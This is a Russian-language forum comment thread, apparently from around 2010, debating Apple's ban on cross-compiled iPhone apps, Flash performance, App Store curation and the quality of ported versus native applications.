бред? по-моему да.
Goodkat
Unity3d iphone(как и MonoTouch, если не ошибаюсь unity3d iphone основан на monotouch) генерирует XCode проект во время билды на айфон, и тот уже компилируется родным компилятором — вот это и есть «ink to Documented APIs through an intermediary translation or compatibility layer or tool are prohibited
Terion
prohibited = запрещенный.
следственно такие заморочки тоже запрещены.
иначе в этом пункте не было бы смысла вообще: прослойка билдится внутрь проекта и, ессно, само приложение уже будет стучаться уже к апи яфона.
таким образом и флеш можно скомпилить (что, собственно, флеш кроскомпайлер и делал).

вы проникаетесь всей абсурдностью этого пункта соглашения?
andoriyu
Ну так я про то и говорю. Но использование движков на C/C++/Obj-C все так же возможно как и раньше. sio2 например вообще прямо XCode делается, а все сцены в блендере рисуются.
VlK
Есть толковая заметка адобовского программиста, почему. Вкратце, то, что на Маке есть OpenGL и Core Animation, не значит, что они есть в браузере — а плагин работает в браузере, отрисовывая один элемент на странице в окружении других. Реально использовать Core Animation сейчас можно только в Safari nightly builds Mac OS X 10.6, если Flash при этом normal, а не transparent или opaque.
Terion
Мне кажется неправдоподобным, что чтобы отображать 5 пустых роликов нужен доступ к Core Animation или OpenGL.
andoriyu
Ага, только вот плагин Unity3d использует видео карту и никаких проблем нет. Так же сафари имеет апаратное ускорение для CSS3 и прочих няшек.
chikuyonok
Я мало знаком с Unity, но, насколько я понял, это игры, и, рискну предположить, они занимают все окно браузера целиком? Если да, то это проще, чем с Flash — браузер не вмешивается, просто отдает свое окно целиком плагину, а тот уже внутри резвится. Как PDF, например, или DjVu. Проблема с Flash, как и объясняется в статье, в том, что объекты Flash находятся в окружении DOM и плагин сначала сообщает браузеру, что такой-то участок надо перерисовать, потом браузер перерисовывает все, что считает нужным, а потом уже плагин рисует — один кадр фильма. И так тридцать раз за секунду.
nochnoy
Нет, все работает прямо в окне браузера, можно несколько игр сразу запустить, мы когда тестировали нагрузку на сервер разместили игру 10 раз на сранице и открыли 10 вкладок нагрузка была меньше чем от просмотра ютуба.

> том, что объекты Flash находятся в окружении DOM и плагин сначала сообщает браузеру, что такой-то участок надо перерисовать, потом браузер перерисовывает все, что считает нужным, а потом уже плагин рисует — один кадр фильма. И так тридцать раз за секунду.

О_о вы явно, что-то путаете иначе бы эта зараза не смогла бы жить так долго.
homm
Я говорю, что прочитал, может быть, программист путает :)

1. Whenever the Flash Player is ready to display a new frame, the Flash Player requests a refresh of its region using NPN_InvalidateRect.
2. The browser adds the the rectangle provided by the Flash Player to its dirty region.
3. The browser traverses its own display list (the HTML DOM) and paints every node which is part of the dirty region.
4. When the browser finds a node with a Flash Player instance it first draws the HTML background and then posts an event to the Flash Player to tell it that it has to paint over the requested region now.
5. The Flash Player then finally draws its frame.
Aux
По-моему не совсем корреткное сравнение с Microsoft. Как раз в конце 80-ых Стив Джобс пытался сделать тоже самое, что делает сейчас. Microsoft была меньше чем Apple, а Windows-PC хуже. Но победил в результате Microsoft.
chikuyonok
Идеальный вариант для разработчика — написать приложение, тыкнуть кнопку «получить версии для разных устройств», и счастливо зарабатывать на результате. Любые различия платформ порождают массу проблем с разработкой и поддержкой кода!

Скажу честно, все приложения для iPhone, которые явно были перенесены с других платформ с минимальными изменениями:

— Выглядят как гавно
— Работают как гавно
— …и столь же удобны в использовании.

Разработческой обиде «не пустили в App Store, плак-плак» я могу противопоставить пользовательское мнение — и слава богу, что не пустили, что не существует идиотских кнопок «скомпилировать под все платформы».

И, да — я не отрицаю, что желание пользоваться лучшим в отрасли телефоном и мобильной операционкой без UI-ужасов с других платформ, в некотором смысле, это сделка с совестью. Но что поделать, пользователь всегда прав, ему плевать как это работает и сколько котят пострадало при тестировании нового устройства.
nochnoy
Вадим, не в обиду будет сказано, но что ты скажешь в свете этого про Оперу мини 5? Ведь он тоже портирована и тоже выглядит, мягко говоря, не нативно для этой платформы. Т.е. Оперу ты бы как пользователь тоже не стал использовать на айфоне, или для тебя всеже возможен вариант портирования, при котором приложение выглядит не нативно, но при этом не выглядит как говно?
Terion
Да, не буду лукавить, Opera Mini 5 на iPhone выглядит местами довольно скверно — контекстное меню, страница настроек и прочее. Но это ещё не самый страшный вариант и тех портов, что я видел в App Store.

Я думаю, что если Opera Mini не пустят в App Store именно из-за UI, то его перепишут на нативном уровне. Но, скорее всего, если уж и откажут, то по причине дублирования функциональности — а вот эта политика Apple мне совсем не нравится.
chikuyonok
«я могу противопоставить пользовательское мнение — и слава богу, что не пустили»

— «мне не нравится группа ХХХ: они поют ужасно — запретите их»
мне вот интересно, чем лично вам стало бы хуже от появления в аппсторе еще одного стремного приложения с низкими рейтингом (оно же стремное)? — не нравится, не пользуйся, поставь низкий рейтинг
некоторая фильтрация контента — это приемлемо, если это всего лишь защита от «забивания каналов», но не тогда, когда это превращается в цензуру
Terion
Все же не соглашусь.
Среднестатистический разработчик просто не приложит усилия для того, чтоб оно нормально смотрелось и пользовалось, если его не заставить это сделать. Для чего тогда все эти гайдлайны, если их не будут использовать. Эппл покупают в основном из-за юзабилити и приятного дизайна. Вот они и стараются перевесить весы в эту сторону, если становится такой выбор.

И опять же таки, Эппл не ориентирован на разработчиков. Они не зарабатывает себе карму, они делают деньги, а их, в свою очередь приносит широкая публика, которой важно как раз то, что ей Эппл дает. Разработчикам придется как всегда подстроится. Поэтому продукцию с брэндом «Apple» так и раскупаюn, что подстраиваться приходиться не покупателям, а разработчикам.
andoriyu
насчет дизайна вы правы. До сих пор не могу понять, почему ОДНА и та же программа в виндоусе выглядящая просто ужасно, прекрасно смотрится в макоси…
Terion
да пусть зарабатывают деньги,
пусть ПО по умолчанию будет высочайшего качества, от Эппл-ли или ее партнеров, с прекрасным юзабилити,
но не запрещайте ставить «другие» (может быть и плохие) программы, пусть пользователь сам решает, теме же системами рейтинга,
мая основная мысль в данном случае — возражение тезису: «я считаю, что они плохие — запретите их»,
прячьте их подальше в аппсторе, создайте ярлык «одобрено Эппл» и тд, но не запрещайте,
а желание строго контролировать платформу легко принять за заботу о пользователях — было бы желание,
даже в примере с Эппл — под макос существуют уйма приложение не прошедших процедуру одобрения Эппл, и что, юзабилити системы (совокупности ОСи и ПО) плохое? — нет, просто «плохими» программами меньше пользуются,
просто в случае с макос у Эппл нет возможности в данном вопросе сохранить контроль над платформой
andoriyu
Не холивора ради, но Вам не кажется, что user experience смартфона и user experience десктопа сравнить по мейшей мере некорректно? Даже Microsoft в своем новом Windows Phone 7 таки решила перенять многие решения Apple ибо они работают и работают хорошо.
Terion
рейтинг просто так не появляется, если он есть — это значит что есть те несчастные пользователи, которые скачали это «стремное» приложение и имели печальный опыт его использования
более того, иногда сами разработчики накручивают рейтинг приложению, чтоб поднять его повыше
andoriyu
существуют различные механизмы, рейтинг всего лишь один из них,
как альтернатива — «сертификация»,
пусть будут для «сертифицированных» программ привилегии, но не запрещайте прочие
Terion
Да, перенесённые приложения часто выглядят неприглядно. Но если покопаться в причинах, там не только лень разработчиков:

Сейчас мы видим много приложений, написанных под WnMobile, которые разработчики кое-как перенесли, «для галочки». Но старые, сложившиеся приложения вообще трудно куда-то переносить. Нужно проделать громадную работу! А мне пока не попадались крупные проекты, сумевшие так хорошо содержать код, чтобы любые крупные переделки делались «с полпинка».

Куда лучше обстоят дела у приложений, которые сразу ориентировались на несколько платформ. У таких в архитектуру заранее закладывается качественное отделение представления и поведения от внутренней логики. И вы никогда не догадаетесь, что такое приложение «не родное» для данной платформы…

В то же время, рынок ещё не успокоился. Постоянно появляются новые устройства, довольно часто обновляются API и версии операционок. Да и времени прошло совсем мало с момента появления у iPhone конкурентов. Толковые средства кроссплатформенной разработки за полгода-год не делаются. Такие, чтобы упрощали следование гайдлайнам и обеспечивали приемлемую скорость работы. Но они появятся, т.к. это очень естественная ниша. Не ждите всего и сразу. Москва тоже не сразу строилась.
andoriyu
Тсссс… не показывайте Джобсу.
MikhailEdoshin
Что говорит Джон Грубер (и Джобс подтверждает это):
Apple хочет сделать Cocoa Touch и AppStore стандартом де-факто для мобильных приложенией. Apple не хочет, чтобы какая-то другая компания построила этот стандарт де-факто поверх их API. Если это произойдет, то у пользователя не будет причин выбирать именно Apple, на любом телефоне будут нужные ему приложения.

И эта мета-платформа не будет под контролем у Apple. Представим, что Apple выпустила большую новую фичу. А создатели кросс-платформенного компилятора почему-то не могут быстро реализовать её поддержку. Значит разработчики не могут пользоваться этой новой фичей. И Apple опять в пролете, они потеряли время.

Так что их позиция вполне понятна и разумна (если с их стороны смотреть). Главное не распугать всех разработчиков, и этого мне кажется не произойдет. Разработчики готовы поступиться свободой, чтобы занять место у кормушки.
homm
эппл хочет эксклюзивов. Портировать приложение на эппл — просто, обратно — простите меня, но хуй.

>Значит разработчики не могут пользоваться этой новой фичей. И Apple опять в пролете, они потеряли время.

MonoTouch стал поддерживать новую SDK(прошлую новую) через 24 часа после релиза.

>Главное не распугать всех разработчиков, и этого мне кажется не произойдет.

Посмотрите, что происходит в интернетах. разработчики мягко сказать негодуют от такого поворота событий, кто-то собирается игнорировать всю продукцию apple как платформу для работки. Скорее всего это просто слова, но apple рисуется потерять приложения которые будут на всех других платформах, но останется со своими эксклюзивами(напоминает sony).
andoriyu
> MonoTouch стал поддерживать новую SDK(прошлую новую) через 24 часа после релиза.

Похвально, но вы на месте Apple доверились бы им, или предпочли бы сами рулить ситуацией?

> разработчики мягко сказать негодуют от такого поворота событий

Интересно, как много из обсуждающих действительно разработчики? Я не разработчик. А разработчики и раньше негодовали, каждую неделю на HN всплывает очередное «I'm quitting iPhone development». То было из-за процедуры утверждения, и то была значительно большая проблема, потому что умом было не понять.

Вот вывод разработчика комментарием ниже: «И если эппл и хочет, как написано в этой статье, завоевать будущий гигантский и самый главный рынок мобильных гаджетов, то я рискну сделать ставку на них. И это не голый фанатизм, это голый расчет )»

Борцы за права разработчиков уйдут на другие платформы, а сами разработчики останутся. Массовый исход — это из области фантастики. Интересно одно — сговнякается ли Apple, когда добьется своего. Видно, что они уже зубы показывают разработчикам. Начнут ли показывать пользователям.
MikhailEdoshin
>Похвально, но вы на месте Apple доверились бы им, или предпочли бы сами рулить ситуацией?
Ну давайте вообще запретитим альтернативые языки: под винду будет только .net(да знаю, не язык, а платформа), под линукс ми, под mac/iphone — obj-c?

>Интересно, как много из обсуждающих действительно разработчики? Я не разработчик. А разработчики и раньше негодовали, каждую неделю на HN всплывает очередное «I'm quitting iPhone development». То было из-за процедуры утверждения, и то была значительно большая проблема, потому что умом было не понять.
Процентов 40% являются разработчиками. Сейчас такие сообщения сплывают как раз из-за ToU.

>Борцы за права разработчиков уйдут на другие платформы, а сами разработчики останутся. Массовый исход — это из области фантастики. Интересно одно — сговнякается ли Apple, когда добьется своего. Видно, что они уже зубы показывают разработчикам. Начнут ли показывать пользователям.

Я хоть и начинающий разработчик и сменить платформу мне как нефиг делать — я останусь на этой, только придется найти новый движек, полностью переписать уже написаный код, вести практически 2 проекта одновременно. Если версию под айфон мы планировали выпустить через 1-2 месяца после десктоп версии, то теперь не знаю когда.
andoriyu
> останется со своими эксклюзивами(напоминает sony)

Да, есть такой риск. Вот это и будет интересно проследить. Так боролись за свой кусок, что не заметили как мир ушел дальше. То же самое с Microsoft.
MikhailEdoshin
лично для меня сони остается лучшей игровой платформой, еще бы паблишинг туда был бы попроще.
Lazarus
эппл хочет срубить бабла — вот уж кто-то открыл вселенскую тайну :)
но вот для чего армии разработчиков хотят попасть на этот рынок?
уж не для того ли чтобы повторить одну из success story?
разве не для того чтобы, внимание, срубить бабла )

только не пишите, пожалуйста, что хотите делать добро и писать бесплатный софт для миллионов владельцев iPhone )

я для себя лично решил, если рассчитываешь на что-то, имей ввиду, придется принять некоторые правила игры
к тому же нативные средства iphone os это не rocket science какой-нибудь, вполне по силам освоить в разумные сроки

и если эппл и хочет, как написано в этой статье, завоевать будущий гигантский и самый главный рынок мобильных гаджетов, то я рискну сделать ставку на них

и это не голый фанатизм, это голый расчет )
pepelsbey
Ну вот Нокия наоборот стремится создать универсальную среду разработки, которая полностью кроссплатформенна, и в общем то она тоже работает не без помощи яваскрипта, но язык разметки гуя там куда совершеннее, чем html
homm
html это изначально язык СТАТИЧЕСКОЙ разметки, да еще и поверх синхронного http. В итоге появилась куча костылей, но сама основа то осталась той же самой.
QML же это язык динамической разметки. В итоге то, что в html даже 5ом делается через долгие пляски на qml пишется за 5 минут
pepelsbey
у них qt будет под все платформы maemo\meego\symbian со всеми вытекающими отсюда плюшками
Yupiter
Я думаю всё должно быть просто. Свобода рыночной экономики. Сделал разработчик корявую программу — медленную и не красивую, то она ведь не будет пользоваться спросом. Деньги платить за гавно никто не хочет. Поэтому и разработчик будет стараться и пользователю будет из чего выбрать.

Если не вмешиваться и насильно не ограничивать разработчиков — эволюция пойдёт своим путём. Так что «платформа» и «дублирование функционала» — не нужные костыли, на которых уже не побегаешь.
Demir0
Но если много таких программ разместить в апстор, сам апстор станет говном и им никто не будет пользоваться. Поэтому эпл борется за качество размещаемых там приложений.
noma4i
Ну почему бы в таком случае не дать позователям альтернативу апстору?
Yupiter
альтернатива не всегда хорошо. Половина разработчиков сразу сбегут туда, пользователю придётся учится с ещё одним стором работать, а для многих это сложно и не нужно. Альтернатива зовётся андроидом, и по мне это самый правильный расклад.
TerrorDroid
Неа, альтернатива зовется Cydia =)
banzalik
Увольте, покупая продукт, а желаю его работу их коробки без всяких ломаний и изворотов, лишающих меня гарантийного обслуживания.
Yupiter
Заслуга аппл именно в том что её продуктами могу пользоваться не сильно разбирающиеся в технике люди. А те кто разбираются могут андроит крутить или иФон ос раскручивать.
Kiriyama
ну так пускай и оставят это на совести разработчиков, поставив их перед фактом, что своё приложения они будут продвигать сами. А раз сбежит аж половина, так значит не так уж всё и хорошо на прежнем месте.
PiaFraus
Ага там стандартам соответствовать надо. Грубый пример: два способа получить права — легкий(мало учить и быстро) -трудный(много учить и долго). Куда ломанётся большинство?
alisey
Мы всё ещё про app store беседуем или уже сменили тему? =)
andoriyu
Вы не поверите, их там УЖЕ ДАВНО много =) И да, аппстор в плане поиска интересного софта давно стал говном — приходится читать специализированные сайты, чтобы найти хоть что-то стоящее в потоке трэша.
alisey
А сейчас что, в аппсторе мало «fart apps»?
andoriyu
Кроме понятного желания привязать программистов и пользователей к своей платформе нужно учитывать ещё и время рассмотрения программ — оно отнюдь не бесплатное.

И если в случае своего компилятора они могут в два клика увидеть все используемые ресурсы и API, и часть работы аппруверов можно автоматизировать, то на проверку переведённых приложений выполняющихся через стороннюю runtime-прослойку может уйти намного больше времени (сколько стоит час работы инженера? 100 баксов? 150? 200?). А если в итоге программу не пропустят, или пропустят, но не будут покупать, то время и деньги были потрачены зря.

Радуйтесь, что они не требуют предоставлять приложения для аппрува в исходных кодах :)
alisey
Давайте думать и об разработчиках — их время тоже не бесплатное. Я делаю ставку на своё приложение и трачу на него свое время в надежде, что оно окупится. Мне нужны плюшки (чсв или лаве), яблоку софт (+процент с продаж, +популярность платформы) — всё не бесплатно.

andoriyu
Судя по минусам, вы правы :-)
i4niac
А мне, если честно, все равно кто кого не любит и почему… Главное, что из-за этого противостояния, что-то будет меняться и меняться к лучшему.
И выигрывать от этого будут пользователи. В том числе и я.
Gorthauer87
> Вероятно, что через 5-10 лет такие помощники (сильно улучшенные) будут почти у каждого человека на планете, а жизнь без них будет казаться невозможной.

А вы оптимист:

> Почти половина всего трудоспособного населения мира, около 1,4 млрд человек, зарабатывает меньше $2 в день за свои труды, оставаясь за чертой бедности, и не может прокормить себя и свою семью, говорится в докладе Международной организации труда.

На 2 бакса ни эппл, ни хтц не купишь.
Gorthauer87
Похоже, существуют и технологические мотивы для поступка Apple: www.appleinsider.com/articles/10/04/09/apples_prohibition_of_flash_built_apps_in_iphone_4_0_related_to_multitasking.html

Главная причина изменений, говорят источники, осведомлённые с планами Apple — поддержка нового продвинутого многозадачного API в iPhone 4.0. Система будет оценивать приложения в процессе их работы, чтобы обеспечить умную многозадачность. Этого нельзя сделать, если приложения работают в runtime-среде или кросс-компилированы со сторонними структурами, которые не ведут себя идентично родным C/C++/Obj-C приложениям.
Gorthauer87
В поведении Apple нет ничего необычного — это просто бизнес, им надо максимизировать прибыль. К любому поведению можно придумать мотивы, но в бизнесе вероятнее всего окажутся денежные.
Упустили несколько слов :) Чтобы не разочаровывать уже немалую толпу адептов, а также привлечь новых, Apple необходимо создавать по-настоящему быстрые устройства с быстрыми программами, поддерживая свой имидж топовых, чудесных и быстрых. Ресурсов на исправление за Adobe косяков, наработанных за несколько лет, у Apple нет, поэтому они запрещают и всячески противостоят проникновению заведомо проблемных технологий на свои устройства (и основания есть — вспоминаем как Flash быстро отжирает по половине ресурсов процессора). Именно поэтому, ради сохранения определённого наработанного имиджа, для получения в будущем большей прибыли, Apple и устроили всю эту возню.
j3d1
Боже мой, откровение… Это всегда было очевидно.
XaBoK
Согласен. Мне тоже это было всегда очевидно. Но, перечитав массу комментариев в разных статьях о Flash и iPhone, я понял что это очевидно далеко не всем. Прошу прощения, если потратил ваше время.
homm
После прочтения блога Ильи Бирмана ждал этого поста на Хабре. Очень интересно читать комментарии и знать мнение объективных и адекватных людей. Сам не являюсь разработчиком(работа с видео, графика, конечно же пользуюсь продукцией Адоби), но все же. Отголоски того, что происходит сейчас между этими корпорациями коснется и меня.
Untit1ed
Да вообще все бизнесмены жадюги — и точка.
kost117
Вообще большинство людей, к сожалению, жадюги. Поэтому капитализм сейчас самая процветающая система.
EntropiouS
о чем статья-то?

Если основной посыл, который автор пытается донести — «эппл рубит бабло», то, как правильно кто-то заметил выше — а разрабочики чем, пардон, пытаются заниматься? Так же бабло рубит и адоби и вся остальная братия.

Что до бана на фреймворки, то этому есть вполне разумное техническое обоснование, например вот это:
habrahabr.ru/blogs/mono/90458/#comment_2723700

Вообще, занятно наблюдать за обсуждением отношений эппл — адоби, все больше напоминающих спор атеиста с верующим. Какие бы обоснования атеист не приводил бы, верующий все равно твердит свое: «Бог есть, а флеш должен быть на айфоне и айпаде. И точка.». Почитайте например www.theflashblog.com — какие заголовки, какой слог. Все признаки регилиозного фанатизма на лицо, как по форме, так и по содержанию, вплоть до истерики с отключением комментариев и выпиливанием громких заявлений по просьбе работодателя («бог» не выдержал и попросил немного остудить религиозный пыл).

Поражает цинизм, с которым «религиозные» фанатики бросаются фразами типа «открытость платформы», «свобода выбора»… это флеш-то открытая платформа? Это у дизайнеров есть свобода выбора инструментария? Не смешите меня, с моим многолетним опытом знакомства с этой платформой. Что-то мне подсказывает, что стратегия развития флеша для адоби состоит как раз в противоположенном, и эти люди запрещают ковырять нам в носу пальцем :-) Умиляет внезапная проснувшаяся забота о разработчиках — как же, эппл на святое покусился, на веру в то, что без предмета культа ни один житель интернета не проживет и минуты в бурном океане цифровых вихрей.

При этом я не видел ни одного разумного, технически обоснованного объяснения, _почему_ флеш должен быть на айфоне, или _почему_ эппл не имеет права делать со своей платформой все, что эпплу захочется, в том числе и запрещать сторонние фреймворки, точно так же, как я не видел ни одного научно обоснованного доказательства существования бога или каких бы то ни было высших сил.

Что такое разработка для iphone os для меня? Для меня это контракт. Эппл предоставляет платформу и способы извлечения прибыли, а так же полностью берет на себя продвижение платформы в массы и заботу об увеличении количеста пользователей (и моих возможностей извлекать из них прибыль). С моей стороны, это следование некоторым правилам, разумность которых не вызывает у меня сомнения, так как я, в отличие от регилиозных фанатиков, стараюсь смотреть на любую проблему комплексно — только в этом случае приходит понимание мотивации тех или иных решений эппла, часто на первый взгляд странных для тех людей, кто просто «не в теме». Точно так же понятны и попытки адоби (и других компаний) «пролезть» на платформу любыми способами, даже с учетом того, что их там явно не ждут.

В конце концов, если платформа так плоха и недружелюбна для разработчиков, то почему программ в магазине все больше и больше, почему телефоны продаются как горячие пирожки в холодный день? Магия? Пиар? Культ яблоководов? Или может стоит признать, что они действительно переигрывают конкурентов по совокупности потребительских качеств? Не забывайте, что фирма эппл, пожалуй, последняя из ныне живущих компаний, которая делала и делает железо в первую очередь для людей, а не для продажи корпорациям (вспоминаем историю майкрософт и внимательно читаем финансовые отчеты — откроете много нового). Остальные — синклер, амига, давно уже почили, будучи сметенными волной под названием PC, и только эппл держится и даже завоевывает новые рынки. Закрытие платформы для эппла исторически самый действенный способ удержаться на плаву и не быть потопленным более дешевыми аналогами, и в этом я не вижу ничего плохого, эппл — не монополист, а лишь одна из многих корпораций, борющаяся за сердца (и кошельки) простых пользователей.

Знаете, user experience нельзя измерить ни килобайтами кода, ни количеством пикселей на экране, ни мегапикселями матрицы, ни мегагерцами процессора. Понимание того, что нужно конечному пользователю приходит только с многими годами разработки продуктов для этих самых пользователей и это именно та область, в которой эппл по-настоящему сильнее конкурентов. Так же, например, как адоби сильнее конкурентов в разработке инструментов для дизайна.

Аминь.

Untit1ed
Нужен — пользуйтесь.
Но почему вы пытаетесь решить за меня, нужен ли он мне? Почему вы указываете мне (ладно, не мне, «народу», мне, к счастью, плевать на ваше мнение) что мне покупать.
Зачем мне недодевайс, когда нормальная железка делает то, что мне нужно. Да, не делает того, что не нужно, но почему это должно меня хоть как-то беспокоить?
EntropiouS
а я цену только на 50% взвентил обращайтесь :D
kost117
А никто не задумывался о том, что флеш, как надстройка жрёт аккумулятор в 1,5-2 раза быстрее при этом тормозя всю платформу? Я не знаю как в Windows, но родной плагин флэша для safari на моём macbook air уменьшает автономное время работы ноутбука почти на час и сильно заводит кулер. Поэтому и Apple не хочет его на свою платформу, так как это будет просто нестабильная поделка, сжигающая аккумулятор за полдня, а все шишки посыпятся на службу поддержки Apple.
Untit1ed
Я тоже в Safari Flash отключал, а сейчас пересел на Firefox и, знаете, очень неплохо работает. Советую.
kost117
Какая разница где сидеть, если тормозит сам флеш. В фаерфоксе спасает только флэшблок.
Untit1ed
У меня в этом опыте другой результат — Flash, может быть, и тормозит, но в Firefox'е эти тормоза малозаметны, в сравнении с Safari. Сейчас у меня Flash включен и очень часто открыто 15-20 табов и я вполне могу нормально работать. С Safari у меня такой фокус не проходил. Разница в работе сразу заметно по встроенному видео — в Safari оно тупо дольше запускается и медленнее показывает, чем в Firefox.

(Кстати, я еще и Spotlight отключил, тоже за тормоза, и тоже советую :) А ведь родная эппловская технология.)
EntropiouS
Spotlight ни капельки не тормозит. Он у вас при индексации что ли тормозит? Первый раз слышу, чтобы на спотлайт жаловались.

Каюсь, всегда пользовался фаерфоксом на маке, а когда флеш вставал уже поперек горла, то пробовал запускать сафари, но там было тоже самое, макбук взлетает (судя по звуку) и тормоза, тормоза, тормоза.
Lazarus
Поиск по «how to turn spotlight off» показывает, что я не одинок :) Собственно, я там и узнал, как его отключить, он ведь так просто не отключается. У меня старенький и компьютер, и OS, отчасти проблема в этом, остальное в самом спотлайте. Отключил да, из-за тормозов, потому что спотлайтовский mds в списке процессов занимал почетное второе место по использованию CPU (на первом был Safari). renice слабо как-то помогало, пришлось отключить совсем.
Goodkat
>заставить разработчика выбрать одну платформу, самую популярную на тот момент времени, и потом максимально усложнить перенос приложения на другую

суровая правда нынешнего времени заключается в том, что самый портабельный язык в настоящее время — это c/c++, особенно для игр
XaBoK
а что, на android уже поддерживается flash?
Goodkat
Частично, HTC Desire поддерживает флеш — полностью.
kost117
к сожалению 99 процентов игр на флеше не ориентированы на пальцы или стилус. Так что…
smmurf
На Хабре время от времени формируются тренды, так вот сейчас есть один устойчивый тренд — ругать Apple, особенно после выхода, iPad.

Если касательно темы, то я полностью согласен с позицией Apple и вот почему:
— Со времен покупки Macromedia, Adobe был зациклен только на улучшении инструментария разработки, и никто при этом не задумывался о производительности. Откройте какой-нибудь сайт перенасыщенный флешем на своем четырехядерном процессоре, и вы сразу же вспомните свой Intel Celeron времен начала девяностых. Давайте признаем, Flash — редкостный тормоз, и единственное, что сделала Adobe — добавила поддержку аппаратной акселерации в виде она Cuda и Broadcom Crystal HD, и то только потому, что многие видеохостинги всерьез задумались о переходе на HTML5 и начали экспериментировать.
— Вычислительной мощности современных мобильников не хватит для Flash: посмотрите видео с HTC Desire и тест флеша, страницы здорово тормозят, и это происходят не смотря на 1 ГГц Cortex A8. Похоже, что для флеша нужно делать отдельный DSP.
— У каждой из платформ есть не только свой Human Interface Guidline, но и множество настойчивых рекомендаций о правильной разработке приложения. Если мы пойдем по пути универсализации и унификации, то мобильные платформы станут точно такими же монстрами, как и современные настольные системы. Ребята, вы видимо не знаете, что значит программировать под встраиваемую технику! Тут нужно учитывать каждую мелочь и бороться за каждый процессорный такт! И такие инструментарии массового использования с низким уровнем вхождения — просто нельзя позволять на своей платформе.
— Насчет запрета кросс-компиляции — тоже все верно, у Apple есть свой инструментарий и для разработки, и для профилирования, и для поиска утечек памяти. И как предлагаете его использовать в случае кросс-компиляции из Flash? Ежу понятно, что качество и производительность кросс-компилированных приложений ниже, если бы это самое приложение писалось изначально под эту платформу.

Выводы: разработчиков под свою платформу нужно привлекать иначе: хорошей бизнес-моделью, удобными инструментарием разработки, а не вседозволенностью и прочей ерундой. Иначу в будущем мы рискуем держать в руки 8-ми ядерный смартфон, у котрого внутри будут 8 DSP, мега-видео ускоритель и баттарея в 5000 мА/ч, и все это будет жутко греться и работать от силы 6 часов.
Alecho
Полностью поддерживаю Ваше мнение. Хочется еще немного дополнить. На мой взгляд, проблема многих разработчиков и наблюдателей со стороны (вроде комментаторов в различных IT-блогах) в том, что они не понимают одного чрезвычайно важного факта.

Все говорят об удобной переносимости приложений, индустрии разработки ПО, быстрой и простой перекомпиляции, фреймворках, Java, Mono и т.д., но при этом забывают, что все это относиться к программному обеспечению для компьютеров! Полноценных десктопов и ноутбуков!

Смартфоны, коммуникаторы, MID — это не десктопы! И это хорошо! И это правильно! Вы хотите превратить смартфон в десктоп? А я не хочу! И большинство потребителей этого не хотят! Как раз «некомпьютернось» и позволила современным смартфонам стать настолько популярными и массовыми — с ними просто и удобно работать, в них нет большинства всех тех проблем и неудобств, которые испытывают многие пользовали за компьютером.

До iPhone были смартфоны? Да, конечно, были как раз устройства с Windows Mobile, которые старались походить на компьютеры и ничего хорошего для потребителей из этого не вышло. Это поняли даже в Microsoft и свой новый Windows Phone 7 они уводят в сторону потребителей.

Давайте превратим смартфон в полноценный компьютер! У ПО будут разные системные требования, мы будем ставить разные зависимости, библиотеки, настраивать фаерволы и антивирусы, устанавливать и использовать разнообразные твикеры, копаться в конфигах и т.д. и т.п. Не спорю, многим гикам это даже понравится :) Но вот подавляющему большинству людей это не нужно по вполне объективным причинам.

Поэтому нужно понимать, что разработка программного обеспечения для смартфонов — это не разработка программного обеспечения для десктопов. Здесь не работает, распространенный на десктопе, принцип что «ПО можно не оптимизировать т.к. время разработчиков стоит дороже, чем аппаратная производительность». Хотите сэкономить время разработчика (т.е. деньги) путем сверхбыстрого переноса приложения с другой платформы? А может лучше таки потратится и переписать приложение более глубоко под конкретную платформу? Нет денег или жалко, ну тут остается вопрос приоритетов. Запомните, «кривые порты» не любят даже в сфере игр, когда они тайтл быстро гоняется между консолями и платформами и, обычно, это не добавляет ему качества.
gag_fenix
Пошла конспирология.

У Apple более чем достаточно причин хотеть именно нативные приложения, и это всегда было их политикой: во все времена от сторонних разработчиков под Mac OS и Apple и сами пользователи требовали чтоб они выглядели и вели себя как нативные. Об этом написано во всех гайдлайнах на сайте Apple.
Иначе весь дизайн интерфейса OS и приложений идёт коту под хвост, т.к. добрая часть их выглядит и работает не так как все остальные. Вместо единого юзер експириенса получается лоскутное одеяло (эффект за которые даже Виндовс2Линукс свитчеры так нелюбили например KDE).
«Прослойки» же, среди прочего, являются потенциальными дырами.
braintorch
По мне все проблемы не от фирм, а от пользователей который зацикливаются на одной марке не задумываясь что к чему.
Мы слишком привыкли полагаться на рекламу. Сейчас на мобильном рынке идеальная ситуация, устройства с иФон ос, андроид, самсунговские и нокиевские эксперименты, скоро виндоус 7 выйдет. Явного лидера нету, все соревнуются: осваивают новые технологии, улучшают железо и.т.д. Красота! То же рынок мп3 плееров где сейчас лидирует яблоко выглядит намного более серым.
Да разработчикам сложнее, всяким ресурсам типа тытруба тоже — но нам, пользователям, одни плюсы. Был у меня тач, игры были, любимый сайт москва.фм тоже музыку играл, отсутствие флэша мне лично не мешало, хотя на том же нетбуке много приятно с его помощью использую.
Победит один стандарт — хорошего не жди. Микрософт это уже продемонстрировал: что винда что интернет эксплоеер: без конкурентов развитие затормозилось.
amlet
Пролетела ссылка насчет того, что об этом говорит сам Джобс:

http://www.taoeffect.com/blog/2010/04/steve-jobs-response-on-section-3-3-1/

Говорит он скупо, ссылается на второй пост Грубера, дескать, «very insightful», но у меня что-то Daring Fireball не открывается уже второй день.
artch
99% всего кросплатформенного — жесткое убожество, причем для любой платформы.
Kiriyama
Веская достоверная цифра. Просветите разработчиков игр под консоли, а то они и не знают, что пишут жестокое убожество =)
easy
Так собственно при разговоре о Flash, MonoTouch и Unity на iPhone речь в 99% © идет об играх.
Vandal
А куча open-source проектов, которые есть для всех платформ? А, скажем, OpenOffice? Firefox? Chrome?

А iTunes и Safari под Windows? :p
Vizzy
Лично у меня по этой теме перед глазами всплывает куча десктоп-приложений на Java и Air. И среди всего этого «добра» я не видел ни единого светлого пятна.

Про Java вообще разговор отдельный. Чего стоит один Eclipse (PDT), который из моего macbook pro с Core 2 Duo и 2 Гб ОЗУ делает устройтво для просмотра слайд-шоу.
mono2k
Причем тут просвещение разработчиков? Вы спросите у потребителей игр и они расскажут Вам много «приятного» про порты игр консоль->пк и наоборот :) Да, не все такие, но более чем хватает.
Lazarus
Современные игры не портируют, а изначально проектируют кроссплатформными. И в любом случае кривой порт — это проблема исполнения, а не инструментария. Вам привести примеры кривых и бажных PC-эксклюзивов или сами припомните?
lasto4kin
Современные игры не портируют, а изначально проектируют кроссплатформными.

